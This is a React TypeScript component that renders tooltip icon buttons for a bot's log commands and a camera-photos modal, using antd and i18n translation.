import React, {Dispatch, SetStateAction} from "react";
import {Tooltip} from "antd";
import {Bot} from "../../../Model/Bot";
import {CommandsProps, LogButtonsProps} from "../../../Model/Commands";
import {useTranslation} from "react-i18next";

interface BotDataButtonsProps {
    bot: Bot,
    logsList: LogButtonsProps[],
    setSelectedBot: Dispatch<SetStateAction<Bot>>,
    setShowModal: (modal: string, show: boolean) => void,
}

const BotDataButtons: React.FC<BotDataButtonsProps> = (props: BotDataButtonsProps) => {
    const {t} = useTranslation();

    return (
        <>
            <div className="bot-item-permissions quickAccess">
                {props.logsList.filter((button: LogButtonsProps) => button.hasAccess).map((command: CommandsProps, id: number) => {
                    return (
                        <Tooltip
                            title={command.name}
                            placement="bottom"
                            destroyTooltipOnHide
                            zIndex={1}
                            key={id}
                        >
                            <span
                                className="bot-btn"
                                onClick={(e: any) => {
                                    command.action();
                                    e.target.classList.add("clicked");
                                    props.setSelectedBot(props.bot);
                                }}
                            >
                                {command.icon}
                            </span>
                        </Tooltip>
                    );
                })}
                <Tooltip
                    title={t("BOTINFO_CAMERA_PHOTOS")}
                    placement="bottom"
                    destroyTooltipOnHide
                    zIndex={1}
                    key={999}
                >
                    <span
                        className="bot-btn"
                        onClick={() => {
                            props.setShowModal("photo", true);
                            props.setSelectedBot(props.bot);
                        }}
                    >
                        <i className="command-icon fa-solid fa-camera" />
                    </span>
                </Tooltip>
            </div>
        </>
    );
};

export default BotDataButtons;
